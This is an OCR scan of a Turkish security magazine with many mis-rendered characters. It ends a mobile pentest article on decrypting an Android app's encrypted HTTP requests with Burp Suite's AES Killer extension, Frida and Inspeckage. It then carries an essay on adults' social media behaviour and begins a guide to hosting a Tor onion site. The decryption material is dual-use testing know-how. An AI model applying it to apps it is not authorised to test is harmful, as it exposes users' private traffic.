Sekil 48. Burp Suite AES Killer Eklentisi Kullanimi-1
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AES Killer eklentisi baglatildiktan sonra uygulama kullanildiginda Sekil 48'de goriildiigti tizere Burp Suite proxy yaziliminda
sifreli HTTP istegi goriilmektedir fakat sag tarafta Edited request bulunmaktadir. Sekil 49da Edited request igerigi gosterilmis
uygulamanin sifreli HTTP istegi AES Killer eklentisi ile otomatize bir sekilde ¢oztimlenmistir.

Intercept m WebSockets history ~ Options

! Filter: Hiding CSS, image and general binary content @
# ¥ |Host Method  URL Params |Edited Status Length MIME type  Extension Title Comment

4 http://192.168.18.134 POST ! | v v

3 http://connectivitycheck.gstatic.... GET lgenerate_204

2 http://192.168.18.134 POST ! v

1 http://192.168.18.134 POST ! v

Original request -m' "
Raw  Params  Headers  Hex

POST / HTTP/1.1

Content-Type: application/x-www-form-urlencoded

User-Agent: Dalvik/2.1.0 (Linux; U; Android 6.0; Google Build/MRAS58K)
Host: 192.168.18.134

Connection: close

Accept-Encoding: gzip, deflate

Content-Length: 36

frida test:hardcoded secret password

@ < + > Type a search term 0 matches

Sekil 49. Burp Suite AES Killer Eklentisi Kullanimi-2

HTTP Istegi Sifreleme (HT TP Request Encrytion) énleminin temel yapilandirilmasini ve nasil agilabilecegini ilgili temel bir 6rnek
tzerinden gosterdik fakat her zaman bu kadar kolay ¢6ziimlenmeyebilir. SecretKey ve IV degerli kod iizerinde bulunmayabilir,
uzak bir sunucudan cift sifreleme uygulanabilir. Uygulamay1 analiz edip kullanilan sifreleme yontemi tespit edildikten sonra bu
onlemi agmak i¢in gerekli key aramalar1 uygulamanin kaynak kodlari, cihaz tizerindeki dosyalar analiz edilerek bulunmaya ¢alisil-
masi gerekmektedir. Bu islemleri ger¢eklestirirken dinamik analizlerde Frida ve Inspeckage oldukg¢a yararli olmaktadur.

Hepinize giivenli glinler dilerim.

Kaynaklar:

https://medium.com/@appmattus/android-security-ssl-pinning-1db8acb6621e
https://techblog.mediaservice.net/2017/07/universal-android-ssl-pinning-bypass-with-frida/
https://www.invictuseurope.com/blog/ctf/DKHOS-mobile-300-zabaha-kadar-dans/

https://resources.infosecinstitute.com/android-root-detection-bypass-reverse-engineering-apk/
https://gurelahmet.com/mobil-s%C4%Blzma-testlerinde-%C5%9Fifrelenmi%C5%9F-http-parametrelerin-

in-%C3%A7%C3%B62%C3%BCmlenmesi/
https://github.com/Ebryx/AES-Killer
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Peki Sizin ®

“ Sosyal

t

Medya -

“Yasiniz Kac’ ;

5.

You

tniimiizde artik giinliik yasam aktivitelerimiz ara-

sinda var olan sosyal medya sosyallesmesi, tizerinde

diisiinmeden, refleksif denilebilecek sekilde gercek-
lestirdigimiz bir eylem haline geldi. Birgok gen¢ insan kendin-
ce “giiniin biitlin bos vakitlerini” bir sekilde sosyal medya ve
benzer yeni medya araglariyla doldurma arayisinda. Konvan-
siyonel (uzlasmali) medyanin ilk zamanlar1 olan sinirl yayin
doneminde insanlarin etkilesimleri sadece birtakim gorselleri
izlemek tizerine iken; zaman gectikge telefon ile baglanma ve
daha sonrasinda bu programlarin akisinda belirli numaralar
tizerinden ekranda “Siradaki sarki xe gelsin” seklinde daha
katilim saglanabilecek bir hale gelmeye basladi. Sosyal medya-
nin gliniimiizdeki haline evrilmesinin temellerinin buralarda
atildigini soyleyebiliriz. Bir platformda insanlarin programin
akistyla ya da akisindan bagimsiz olarak birbirleriyle mesajla-
sabilecekleri bir alan olugtu. Tabi bu dénemde telefonlarda iki
kontor ile kisa mesajlasma da yaygin olarak kullanilmaktaydi.
Daha sonra internetin yayginlagmasiyla birlikte su an tarihe
gomiilmis olan bir takim “chat programlar1” araciligiyla in-
sanlar iletisime gegmeye bagladilar. Atilan mesajlarin bir sekil-
de ayr1 ayri ticretlendirilmesi yerine, bir¢ok seyi i¢inde barin-
diran internete para vermek ve yapilan ise gére maliyetin daha
diistik olmast bunun ulasilabilirligini arttirdi. Ulasilabilirlik
arttik¢a kullanim orami artti, kullanim orami arttik¢a ula-
silabilirlik artt1 ve su an eski doneme gore dehset hizlarda
erisim saglayabilecegimiz ve ¢ok daha az iicret 6dedigimiz
bu platformlar insan davranislari ile de etkilesime girdi.

Insan davranislariyla da iletisime giren bu yeni medya diinya-
sinda etkilesim metotlar1 birbirinden oldukga farklilasti. Ozel-
likle sosyal hayatta kendimizi anlatmak ve karsiyr anlamak
i¢in kullandigimiz beden dili, ses tonu ve tavir eskiye nazaran
belirli 6lgiilerde devre dis1 kald: ve yerine yenileri konuldu.

Artik dil ve imla kurallarina uymak verilmek istenen mesaji
degistirebilmekte hatta basit¢e nokta kullanmak bile kargimiz-
daki insanin aktarmaya calistig1 bilgiyi farklilastirmakta ve
bize onun ruh hali hakkinda dahi bilgi verebilmekte. Duygula-
rimiz1 aktarmak igin kullandigimiz emojiler ve giilme bigim-
leri de oldukga farklilast: ve kabaca “random atarak giilme”
tabiri gelisti. Bu giilme bi¢ciminde bile ¢ogu zaman kahkaha
attigimizi anlatmak oldukga kolaylast1 ancak aslinda disaridan
bakildiginda ufak bir tebessiim goriilmekte. Insanlar 6zlii s6z-
ler, degisik koreografide aktarilan resim ve fotograflarla ken-
dilerini ifade eder hale geldiler Disaridan ¢ok mutlu goriinen
bir insan sosyal medyadaki yasaminda oldukga depresif bir
halde karsimiza ¢ikabiliyor. Bu iletisim metotlar1 insanlarin
karakterini degistirilebilmekte ve bireye yepyeni bir diinyanin
kapisini aralamaktadir.

Sosyal medya etkilesimi ve bagimlilik olarak nitelendirilen
bu yeni olguda olaya bagimlilik goziiyle bakmak yerine yeni
bir diinyada var olmaya ¢aligmak agisindan bakacagiz. Giin-
lik yasam aktivitelerinden sikilan ve kendini ifade edis bigi-
mi agisindan gelenekselin disina ¢ikan, yepyeni argiimanlarla
kendini kanitlama arayisina giren bireylerin davraniglar: ise
yeniden incelenmesi gereken bir hal almaktadir. Sosyal med-
ya kullanimina baktigimizda bir profesériin veya bakkal Ah-
met amcanin paylagimlarinda ve etkilesimlerinde ayni seyleri
farkli bigimlerde goriiyoruz. Olaya siber suga maruz kalma
acisindan da baktigimiz zaman bir profesoriin, bakkal Ahmet
amcanin veya bir lise 6grencisinin ayni sekilde zarar gérebil-
digini fark ediyoruz. Yani bu durumu yas, cinsiyet, egitim se-
viyesi gibi kistaslardan ayirip, bireyin “sosyal medya yagina’
bakarak farkli bir yolla ele almanin gerekliligi 6ne ¢ikiyor.
Bahsettigimiz bi¢imlerin sebeplerinden bazilarina bakmak
i¢in biraz ge¢mise gidelim. Sosyal medyanin bir¢ok insanin




ergenlik zamanina denk geldigi ve gittikce yayginlik kazandig1
doneme baktigimizda; o dénemki ebeveynlerin ¢ocuklarina
kizdiklarini, bunu bagimlilik olarak nitelendirdiklerini ve bu
konuda ¢ocuklarina serzeniste bulunduklarini hatirlariz. Hat-
ta yetiskinler sofrada “Ne anliyorlarsa artik tik tik” geklinde
veya bazen tariz (igneleme) iceren sozlerle satasma, elestirme
igerisinde bulunuyorlardi. “Telefonu birak biraz bizimle mu-
habbet et, dedenler geldi kocaman adamin yiiziine bakmiyor-
sun” diyerek kizdiklari, bazen ¢ocuklarini kullanim stiresinin
kisitlanmast gibi cezalara maruz biraktiklar1 bir donem... Ora-
da ne bulundugunu merak edip sorular sorup anlamaya calis-
tiklar1 ve asosyallikle sugladiklar1 ¢ocuklarinin yerlerinde ise
simdi onlar var. O dénemin ebeveynleri kalabalik aile grupla-
rinin veya arkadag ortamlarinin i¢inde belki 5-6 sene 6nce ki-
nadiklar1 davranisi ayni sekilde yapmaya bagladilar. Hatta olay
o kadar degisti ki artik ¢ocuklar ellerinden telefonlar1 birakip
ortama adapte olmaya baslarken, yetigskinler Facebook’tan ¢ik-
mamakta ve genel olarak muhabbetleri de orada goriilen vide-
olardan, resimlerden ve yazilardan ibaret olmaktadur.

Davranissal olarak ele aldigimizda insanlarin orada veya ora-
dan hareketle popiiler olmaya, en azindan kendi gevresi i¢inde
ragbet gormeye calistigini soyleyebiliriz. Sosyal medya dav-
ranislar1 kaba tabirle koca koca insanlar1 basit yalanlar soy-
lemeye, bunlar tizerinden prim yapmaya ve dikkat ¢ekmeye
calismaya benzedi. Fakat gegmis donemdeki durumda iletisim
kurarken farkli argtimanlar sunan yetigkinlerimiz simdi artik
orada gordiikleri, yazdiklari, okuduklari, begendikleri veya
paylastiklar1 seyler iizerinden bizimle ve akranlariyla iletisime
gecmeye calistyorlar. Burada bir iletisim bozuklugu meydana
geliyor, bunu yazinin devaminda ele alacagiz.

Denk geldigim ortamlardaki yetiskinlerden bir tanesi, bir
sosyal medya jenerasyonunun 8-9 sene dnce gordiigii bir ka-
rikatiirii kabaca bir arkadaginin basina gelmis gibi anlatti ve
etraftaki akranlar1 da ayni sekilde ilgiyle takip etti. Ancak ola-
yin farkindaliginda olan kimse yoktu ve aslinda bu ¢ok ba-
sit bir yalandi, ancak prim yapmisti. Karikatiir, zamaninda
Ingilizceden Tiirkge'ye cevrilmis, anlami bir defa degistirilmis,
sonrasinda bir siire ortalikta dolanmig daha sonra ise yok ol-
mugstu. Buna ragmen anlagilan yakin zamanda az bilinen bir
mecrada tekrar goriilmiis ve basit bir sekilde prim i¢in kulla-
nilmisti. Buna benzer, o donemin yetiskinlerinin sosyal med-
yada yalan oldugu bizim i¢in bariz ortada olan bilgileri gercek
hayatta kendileri biliyormus gibi ayn1 sekilde paylagsmalar: da
guniimiizde ¢ok sik rastladigimiz olaylardan bir tanesi. Bu in-
sanlar1 bu bilgilerin uydurma oldugu konusunda ikna etmek
de inanilmaz zor bir dereceye geldi. Yine davranis sorunlarin-
dan bir tanesi bilginin yalan olduguna inansa bile paylagsmaya
devam etmesi. Zamaninda koca bir neslin yapip sonradan bi-
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raktig1 “Bu mesaj1 5 kigiye gonderirsen...” icerikli mesajlarin
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gonderilmesini tarihin karanhk sayfalarina gomdiigiimiizii
distindigtimiizde, bunlarin yeniden hortlamasina sebep ola-
rak bakin bu sefer karsgimizda kimler var? Berber Hiiseyin abi,
alt komsu Feriha teyze ve belki de ebeveynlerimiz. “WhatsApp
ticretli oldu ancak ii¢ kere suraya tiklayip bes kere gonderir-
sen” temali mesajlar ise yine ayni hizda yayildilar. Peki bun-
larin sebepleri neler olabilir? Bizden belki kat kat daha fazla
hayat tecriibesi ve bilgi birikimi olan koca koca insanlar bu
tarz seylere nasil inanabiliyorlar?

Yine benzer sekilde davraniglara baktigimizda teyzelerimizin
borek, ¢orek paylasimi yapmalar1 masum gibi goriiniirken, al-
tinda yatan ve sz arasinda denk geldigimiz Nurten hanimi
kiskandirma olay1 da neyin nesi? Béregin aldig1 begeninin ve
yorumun onun paylasimiyla karsilastirilmasi giiniimiizde gok
sik rastladigimiz bir sorun haline geldi. Arkadaslarla fotograf
cekilip “feyse atma” ve mutlulugunu diger insanlara gosterme,
bakin paylasma degil gosterme furyasi insanlarin ilgisini ¢ek-
meye ¢alisma ve orada o teyzelerimizin yaptig1 giine ¢agrilma-
yan Nurten teyzenin yorum yaptiginda, “Canim ¢ok ani oldu”
mesajinin yanina koyulan emojiden sonra arkadas ¢evresine
bakip kotii giiltisler atma. Buna benzer bir¢ok olay siralanabi-
lir ama genel olarak ana fikirde suna ulagiyoruz ki gintimiiz-
de, ge¢mis zamanda sosyal medyanin kotii oldugunu ve ba-
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gimlilik yaptigini 6ne siiren yetigkinler bugiin yine o mecrada
bir ergenin hareketlerini sembolize ediyorlar. Buradan sonra
artik bu tanima sosyal medya ergenligi olarak devam edecegiz.

Sosyal medya ergenligi seklinde kullandigimiz tanim herhan-
gi bir sekilde bir elestiri mahiyetinde degil, var olan bir duygu,
hareket ve psikoloji biitiiniinii temsil etmektedir. Genel olarak
bir nesil ergenlik ve sosyal medya ergenligi donemini ayni se-
kilde benzer etkilesimle gecirdi. Bu neslin gegmis zamanlarda
gosterdigi davranislar hem sosyal statiisiinde erginlige giden
bir yol olmakla beraber, o dénemin sosyal medya erginleri de
hi¢ var olmadig: icin genellikle elestirilerden uzak kaliyorlar-
di. Daha sonradan sosyal medya diinyasina katilan yetiskin-
lerimiz ise burada ilk basta 6grenerek gegirdikleri zamandan
sonra, sosyal medya ergeni durumuna distiiler. Bunu yeni
dogan bir bebegin bir seyleri 6grenmek icin agzina sokmasi
veya dokunmasi, bunlara dayali olarak halk tabiriyle “cis” olan
nesneleri fark etmesi ve yaklasmamasi, yaklastiginda neler
olabilecegine dair gozlemleri seklinde diistindiigiimiizde; yeni
diinyaya agilan bir kapida glintimiiz yetiskinlerinin reklamla-
ra tiklamasi ve tiklamamay1 6grenmesi, zararli yazilim iceren
dosyalar1 bir sekilde cihazlarina indirdiklerinde olacaklar: fark
etmeleri gibi diigiinebiliriz. Orta yash insanlarin sosyal med-
ya kullanimina baktigimizda daha geng insanlardan aldiklar:

ipuglariyla, bir sekilde bu tiir davranislardan uzak durmalar1
gerektigini ¢ikardiklarini biliyoruz. Genel olarak cihazlarina
virtis bulastig1 i¢in siirekli format attirmak istedikleri bir d6-
nemden sonra artik bu sorunla daha az karsilagildi, baz1 in-
sanlarda bir gesit paranoyaya doniigse de artik 6nlerine ¢ikan
her seye tiklamamalar1 gerektigini 6grendiler. Daha sonrasin-
da ise sosyal medya ergenligi donemi basliyor. Bu donemle
klasik ergenlik donemini karsilastirdigimizda birgok benzer
nokta bulabiliyoruz. Freudyen yaklagimi ile ergenlik donemi-
ne baktigimizda 6zsevicilik (narsisizm) duyusunun yenilen-
mesi bunlardan bir tanesi. Sosyal medya ergenligi doneminde
insanlar ego ideali ile hemen ger¢eklesebilecek hazlara yonel-
meye bagliyorlar. Bir resmin hemen kag begeni almadigi, kag
kisinin cevap vermedigi gibi durumlar insanlarin bir yerde
kisa siireli hazlarini kolaylikla giderebilecegi bir duruma doé-
niisityor. Burada sosyal medya ergenligi sadece giiniimiiz ye-
tiskin kullanicilarinda olur gibi bir ¢ikarim yapmiyoruz tabi
ki. Cok genis bir kitleden s6z ediyoruz ve bu kitlenin igerisin-
de yetiskinler 6grenme ve deneyimlemeden sonra daha yeni
sosyal medya ergenligine girmis diyebiliriz. Yine ayni sekilde
psikoanalitik kurama gore ergenlik gecici bir rol karisiklig
doénemidir. Bu, sosyal medya kullaniminda da ayni sekilde
kendini géstermektedir. Diger insanlarin davranislarini tak-
lit etme, kendisinin dikkat ¢eken performanslarini sergileme
de yine sosyal medya iizerinden rahatlikla gerceklestirilebil-
mektedir. Normal zamanda ergenligini tamamlamis olan in-
sanlarin ise nasil borek yaptigini 1srarla sergileyip ovgii almak
istemesi veya bir¢ok insanda aslinda var olan ufak bir yetenegi
sanki harika bir seymis gibi siirekli olarak paylagmasi ve be-
genilmesini istemesi gibi diirtiiler sosyal medya ergenliginin
bir pargasidir. Diger insanlarin davranislarini taklit ederken
ise yine ayni sekilde ergenlikte oldugu gibi popiilerlik veya
hippi tarzi marjinale (aykir1 olmak) yonelip dikkat cekme his-
siyat1 baskin gelmektedir. Giintimiizde popiiler olan akimlarin
durmaksizin ve artik bilyiisii kaybolana kadar tekrar edilmesi
yine buna 6rnek olabilir. Ayrica giinimiizden belki 10 sene
once gordigiimiiz buzdolabini agip bos bos bakma gibi klasik
ve benzer eylemlerin Facebook'ta paylagilip “aa ben de boy-
le yapryorum” hissinin almmasi, yeni sosyal medya ergenleri
tarafindan tekrar giindeme getirilip ragbet gormektedir. Bu
davranis bigimi de yine ergenlikte ileri dereceye ulasan grup
aidiyeti diirtiisiine benzerlik gostermektedir. Uzun siiredir ta-
nidigimiz ve apolitik olarak bildigimiz insanlarin sosyal med-
ya iizerinden siyasi analizler kasip, kendini bir grubun icine
itelemesi de yine bu davranis bicimine 6rnektir. Sosyal medya
davranislar1 ve sosyal davranislar ayni: doneme denk geldigin-
de paralellik gosterebildigi gibi farkliliklar da gosterebilir. Za-
man zaman hi¢ beklenmedik bir anda komsu teyzenin bir sos-
yal platformda herhangi bir durumdan isyan etmesi bizi belki
cok sasirtsa da bu da yine ergenlik donemindeki isyanlarin




mantiksizlig1 ve i¢giidiiselligine benzemektedir. Ayrica kisa
stireli hazlara hizmet edilen bu dénemde insanlar normalde
hi¢ umurlarinda olmayacak olaylar ve durumlar kargisinda
cok biiyiik destekei, arka ¢ikan bireyler haline doniisebiliyor-
lar. O paylasim bir sekilde yapildiktan sonra ve yapilmasi ge-
rektigine inanilan seyler yapildiginda alinan hazzin karsisinda
ne yazik ki eylemsel olarak devami gelmemektedir. Ciinkii on-
dan alinmasi gereken haz alinmistir ve ayni zamanda o hazzi
tekrar almak veya alabilmek i¢in yeni bir gonderi paylagilmasi
yeterlidir. Herkes bana bakiyor ve beni izliyor diirtiisiiyle bi-
reyler paranoyaklasmakta ve en ince detaylara kadar yazdig:
ve paylastig1 seylere dikkat etmektedirler. En ufak bir imla
hatasinin yapilmasi veya kot elestiri alabilecek bir fotografin
paylasilmasi insanlar1 panik haline sokmakta ve

bireylerin kisa siireli ataklar gegirmesine
sebep olabilmektedir. Bu davranisi da
ergenlikte dikkat edilen konusma
sekli ve giyim kusam tarziyla
benzetebiliriz. Hata yapmaktan
korkan insanlar aslinda bunun
sadece olagan oldugunun ve
kimselerin iistiine korkuldu-
gu kadar diisiinmeyecekle-
rinin ve belki yarin unutula-
caginin farkinda degillerdir.

Temel farklardan bir tanesi
ise ergenlik ¢aginda bir go-
risiin, sosyal medya ergenligi
¢agina gore daha kolay degis-
tirilebilmesidir. Ciinkii  sosyal
medyada yazilan, ¢izilen ve payla-
silan seylerin bir sekilde bir yerlerde
kalicilig1 vardir. Bugiin A dediginiz seye
yarin B dediginizde eski bir paylasiminiz giin

yiziine ¢ikarilabilir korkusu, insanlarin fikirlerinin
degismesinin oniinde biiyiik bir engeldir. Tabi isin diger bo-
yutunda ise sosyal medya yasaminizi hesaplarinizi kapatarak
kolaylikla birakabilirsiniz, yeniden baslangi¢c yapmak icin bir
slire gegmesini bekleyebilirsiniz. Tabi isin diger boyutunda in-
sanlarin dikkat cekmek ve ego tatmini yapabilmek i¢in yaptik-
lar1 seyleri diistinebiliriz. Ciinkii ego bilinmek ister. Bu agidan
baktigimizda sosyal medya ergenlerimizin yaslar1 ve olgunluk
seviyeleri hi¢ fark etmeksizin kendilerini diigiirdiikleri du-
rumlar, ¢ogu zaman bir 6nceki sosyal medya neslinin; ayni ye-
tiskinlerin ergenlere yaptig1 hareketlerden dolay1 attig1 alayci
bakis atmast gibi, hicivli bir gekilde elestirilir ve dalga gegilir.

Elestiri konusunda bir diger husus ise elestiri alma korkusu-
dur. Yine ergenlik ¢aginda ergenlerin yapilan elestirilere asi
bir karsilik vermesi gibi benzer bir karsilik alinir. Psikolojide
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yine Freud, bu donemde savunma diirtiisiiniin arttigini soyler.
Ayni sekilde bir sosyal medya ergeninin herhangi bir payla-
simin1 elestirdiginiz zaman size ¢ok siddetli bir tepki verebi-
lir. Bu durum aile i¢cinde oldugunda kavgalara sebep olabilir.
Arkadaslik iligkileri de bozulabilir ¢linkii Nurten hanim bu
elestiriyi gordiigii iin, teyzemiz kii¢iik diistiiglinti zannede-
bilir. Genel olarak tanimadigimiz bir sosyal medya ergeninin
paylasimini elestirdigimizde hakaretle bile karsilasabiliriz
¢iinkii ona gére imajina zarar vermisizdir, onu kii¢iik dii-
siirmeye ¢alismisizdir ve en dogru fikrin kendisine ait oldu-
gunu diisiinen ve hisseden birinin aktiflesmis egosuna zarar
vermisizdir. Tabi yine sosyal medya etkilesiminde bir insanin
ses tonu, jest ve mimikleri gibi seyler algilanamadig: i¢in nor-
malde olmas: gereken limitler ortadan kalkiyor ve

insanlar istedikleri sekilde diisinmeden ce-
vap verebiliyor. Bu limitler ortadan kalk-
tiginda yapilan davranislar ergenlik
hissiyle sosyal medya iizerinde sug
iceren paylasimlarda bulunmaya
kadar gidebiliyor. Yapilan bir
caligmadan elde edilen sonug,
ergenlerin bulunduklar1 do-
nemin 6zelligi nedeni ile risk
faktorlerine sahiplerse suca
meyilli olduklarini ortaya koy-
maktadir. Buna sosyal medya
acisindan baktigimizda sosyal
medya ergenimizin su¢ isle-
yebilmek i¢in yapmasi gereken
tek sey bilgisayarinin veya akilli
cihazinin power tusuna basmak. Er-
genlerdeki zorbalik yapma ve zorbaliga
maruz kalma agisindan baktigimizda bir-
gok benzerlik goriiyoruz. Bu gagdaki genglerde
zorbalik yapanlar genellikle daha fazla popiiler olu-

yor, goriiniir oluyor ve takdir ediliyorlar. Bu agidan 6zellikle
Twitter mecrasina baktigimizda bu davranisin oldukea yaygin
ve ling kiiltiiriiniin popiiler oldugunu goriiyoruz. Buradan ¢1-
karimla insanlar bir sekilde popiiler olmak i¢in ergenlik ¢a-
gindalarmis gibi birbirleriyle dalga geciyor ve eziyorlar. Ayni
sekilde ragbet goriiyorlar ve kisilerin aldig: etkilesimleri art-
tirtyor. Zorbaligin icinde ise yalan sdyleme, dedikodu yapma,
sOylenti ¢ikarma, bagkalarinin onu sevmemesini saglama gibi
davranislar bulunuyor. Genel olarak aktif bir sosyal medya
kullanicis: bunlar1 giin iginde pek ¢ok kez goriiyor veya belki
maruz kaliyor. Bir fark edilme yaris1 i¢inde insanlarin birbir-
lerine zorbalik yapmaya caligmasi ve {istiin gelmesi davranist
oldukga dikkat ¢ekiyor. Bunun etkileri yine popiiler olma, 6n
plana ¢ikma ve egonun tatmin edilmesi. Yetiskin insanlarda
bu tip davraniglarin sayisinin ¢ok ¢ok az olmasi da yine ayni
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sekilde bunun ergenligin bir pargasi oldugunu gosteriyor. Sos-
yal medya ergenleri bunun i¢in grup birlikteligi kuruyorlar,
grup aidiyeti olusturuyorlar ve bunun karsiliginda sosyal bir
kazang elde ediyorlar. Genel olarak bu tip davraniglar anne ve
baba iligkisinin artmasiyla azaliyor veya bireyler ugradiklar:
zorbaliktan etkilenmiyorlar. Bu tabi karmagik bir durum ol-
makla birlikte normalde ergenlik ¢aginda olmayan bir sosyal
medya ergeninin, bir sosyal medya ebeveyni olmadig i¢in
konunun popiilerligi hi¢bir zaman azalmiyor. Sosyal kayg! ise
burada yerini sosyal medya kaygisina birakmis durumda. Sos-
yal kaygi, ergenlik ¢aginda baglayan ve genellikle sonrasinda
azalan bir durum olmakla beraber bu durumdan muzdarip
olan insanlar sosyal medya kullanirken daha rahat olurlar. Bu-
nun sebebi yine 6nceden belirttigimiz tizere iletisim
metotlarinin farkli olmasidir. Yani sosyofobik
bir insan sosyal medya kullanirken asir
poptiler ve 6n planda olabilir ki bu da
sik rastlanilan bir durumdur. Fakat
is sosyal medya ergenligine geldigi
zaman genellikle sik rastlanilan
durum ise sosyal medya anksi-
yetesidir diyebiliriz. Bir yerde
hata yapacagindan korkan in-
sanlar sosyal medyadaki ko-
nugmalarina normalin ¢ok ¢ok
tstiinde dikkat ederler. Yine
ayni sekilde bu tiir ergence kor-
kunun igerisinde kaybolabilirler
ve bu onlarin sosyal medya kul-
lanimlarina yansir. Hemen hemen
herkes gevresinde bu korkuya sahip
insanlar1 gorebilir veyahut kendileri
bu tiir bir korkuya sahip olabilirler. Biitiin
bunlara dayanarak sosyal medyanmn ayri bir
diinya oldugunu ve buradaki iletisimin, gelisimin ve
erginligin normal hayattakinden kismen bagimsiz bir sekilde
ilerledigini soyleyebiliriz.

Sosyal medya bebekligi ve ergenligi gibi iki farkli durum ortaya
koymaya ¢alistiktan sonra bunun bir erginliginin de olmasim
beklemekteyiz. Peki, erginlik kriterleri neler olabilir? A¢ikg¢a-
s1 genel olarak benzetmek gerekirse 12-21 yas araligi klasik
ergenlik donemi -ki su an 24 yagina kadar ¢iktig1 hakkinda
caligmalar var- uzun bir doneme denk geliyor. Ayrica ergenle-
rin rol model aldiklar: ergin bireylerin sayis1 ditnyamizda ¢ok
fazlayken, sosyal medya diinyamizda olduke¢a azdir. Kabaca
bilingli kullanim, yerinde kullanim ve yukaridaki bahsettigi-
miz konulardaki davranislar1 disiinerek bir ¢ikarim yapilabi-
lir. Siber suglarla miicadele ve maruz kalma agisindan dikkate
alinmasi gereken konulardan bir tanesi de bu davranis bigimi-
dir. En nihayetinde eger siz sosyal medyada olgunlastiginizi
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diistintiyorsaniz bu davranislar igerisinde bulunan insanlarin
olusturdugu kocaman bir havuzun i¢inde, ebeveynlerinin siz
olmadi@ bir siirii ergenin oldugu bir diinyada oldugunuzun
farkinda olmaniz gerekiyor. Etrafinizdaki insanlarin ve belki
anne ve babalarinizin ise birgogunun 6nceden size soyledik-
leri konumda olduklarinin ve sizin belki 9 veya 10 sene dnce
gerceklestirdiginiz davranislar1 gerceklestirdiginin farkinda
olmaniz gerekiyor. Eger ergenliginiz ve sosyal medya ergenli-
¢iniz ayn1 zamana denk geldiyse bir nevi daha sansh olabilir-
siniz ¢iinkii ge¢mise doniip eski paylagimlara baktiginizda ne
paylagsmigim iste ergenligin verdi heves diyebilirsiniz. Simdiki
yetiskin sosyal medya ergenleri bu paylagimlarina ileride denk
geldiklerinde saklanabilecek bir bahaneleri olmayacak muh-
temelen. Ayrica sosyal medya ergenliginin bitme-
mesi gibi yiiksek bir ihtimal daha var ki bu-
nun sebebi 6rnek alinacak sosyal medya
erginlerinin ya var olmamas! ya da
¢ok az sayida bulunmasidir. Ayri-

ca insanlarin egolar1 iizerinden

w  kisa hazlar almaya yonelmesi

wees  aynu sekilde fiziksel olarak da
zihni tatmin ettigi i¢in bu
tip davranislar hicbir zaman
son bulmayabilir. Ya da ¢ok
yaygin sosyal platformlardan
rahatsiz olan sosyal medya
erginleri daha az kullanilan
medyalara kaymistir ve ora-
larda sosyal medya yasamlarina
devam ediyorlardir. Ancak unut-
mamak gerekir ki sosyal medya
ergenligi her zaman bir sekilde bu-
lunmaya devam edecek. Ozellikle yetis-
kinlerin daha fazla bulundugu sosyal medya
platformlarinda etrafinizda ¢ok fazla 12-21 yas arasi

insanla ayn1 ortamda oldugunuzu diisiinebilirsiniz. Siber sug
cesitlerinden 6zellikle sosyal medya zorbaliginda bu ve bunun
gibi konularin ele alinmas: gerektigini diisiiniiyorum. Genel
olarak 50 yasinda bir insanin da maruz kalabildigi zorbaliga,
12 yagindaki bir insan da bir sekilde maruz kalabiliyor ve kisi-
ler izerinde meslege ve egitim seviyesine bakilmaksizin ben-
zer etkiler gosterebiliyor. Insan davraniglarinin sosyal medya
tizerinde incelenmesi konusunda ise tek bir bilim dalinin ¢a-
ligmalarinin yerine birkag hibrit dal ile birlikte ¢caligmak acik-
cas1 kulaga daha mantikli geliyor. Ayrica farkl bir diinya ol-
dugunu diistiniirsek bu ¢alismalar1 yapan insanlarin belirli bir
sosyal medya erginligi diizeyine ulasmasi da gereklilikler ara-
sindadir. Etrafinizda ¢ok fazla sosyal medya ergeni oldugunu
diistinebilirsiniz. Sizin bu davranislar: gostermediginizi veya
daha az gosterdiginizi de disiinebilirsiniz, bir sosyal medya
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ergini oldugunuzu da diisiinebilirsiniz. Ancak kendini olgun
zanneden bir sosyal medya ergeni de olabilirsiniz ¢iinkii bu da
sosyal medya ergenliginin psikolojisinden birisidir. Peki sizin
sosyal medya yasiniz kag?
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Fantazya'da Yasaklari Savmak:

TOR Network'unde
Web Sitesi

®
I nsanlik bugiine dek pek ¢cok devrimi yasadi. Atesi bulduk,

hayvanlari evcillestirip toprag: isledik. Bilimsel ve sanayi

devrimleri, yesil devrim olarak bilinen topraktaki verim-
liligin artmasi, hepsi birer devrimdi. Ama 90’larin sonunda
kitleler ile bulusan Internet ise biitiin bu devrimlerin taglan-
dig1 apayr1 bir siireg oldu.

Bilginin tiretilmesi ve paylasilmasi inanilmaz derecede kolay-
lagti. Bir web sitesi agip diinyanin &biir ucundaki insanlarla
bilgilerinizi ve fikirlerinizi paylasmak son derece kolaydi.
Devletler ve teknoloji devletleri kol kola girerek fikirlerin 6z-
giirce filizlendigi bu ortami igfal etmeye (kandirmaya) ¢alisi-
yorlar. Yer yer de basarili olduklarini sdyleyebiliriz.

Fantazya isimli distopik iilkede ise durum daha karanlik. Ar-
tik onlarin izni olmadan bir web sitesi agmak neredeyse im-
kansiz. Hem agsaniz bile kisa bir siire sonra bir tebligat ile ka-
patilmasi, sunuculara ve verilere el konulmas: isten bile degil.

Adim adim hem bir servis saglayici olarak siz; hem de ziyaret-
gileriniz izlenebilir. Fantazyada ve diinyanin diger baskici re-
jimlerinde ziyaret ettiginiz web sitesi nedeniyle gesitli suglara
maruz kalabilirsiniz. “Demokrasi besigi”, tizerinde giines bat-
mayan Britanyada bile konusulan boylesi yasalar, birbirlerini
yasak ve zorbalikta taklit etmekte mahir diger yonetimlere de
ilham verecektir giiphesiz.

Peki Fantazyanin yurttaslar1 daha da genel olarak diinyanin
Ozgiir diistinen, bilim ve diistince iireten insanlar1 bir otori-
teden icazet almadan, onlarin hismindan korkmadan bir web
sitesi acamayacaklar m1 artik? Tabii ki hayir! Onlarin insafina
mahkum degiliz. Diinyanin her yerinde hacker kiiltiiriine sa-
dakatle bagli “meraklilar” yepyeni yontemlerle baskici otorite-
lere nanik yapmayu siirdiiriiyor.

Nasil Acilir?

Bunlardan biri de goniilliilerin destekleri ile yasamini devam
ettiren TOR Network’ii ve onun iizerinde ¢aligan Onion Ser-
visleri. Bu servisler size tiim otorite ve onlara boyun egen ser-
vis saglayicilarindan, domain saglayicilarindan bagimsiz web
sitesi agma imkani sunuyor.

Bu yazimizda TOR NetworK’iinde bir web sitesi nasil kurulur
agiklamaya ¢alisacagz.

TOR Network’iinde bir sitem olsun, diinya bana
viz gelir!

TOR network’ii 6zet olarak kullanicinin IP’sini gizlemek i¢in
internet paketlerini gonillii bilgisayarlar (relay) izerinden
aktaran bir protokol. Protokoliin ¢alismasina dair ayrintilar
bu yazinin konusu degil. Fakat Arka Kapi Dergi 2. Sayida
Muhammet Enes Ozen tarafindan kaleme alinan TOR yazi-
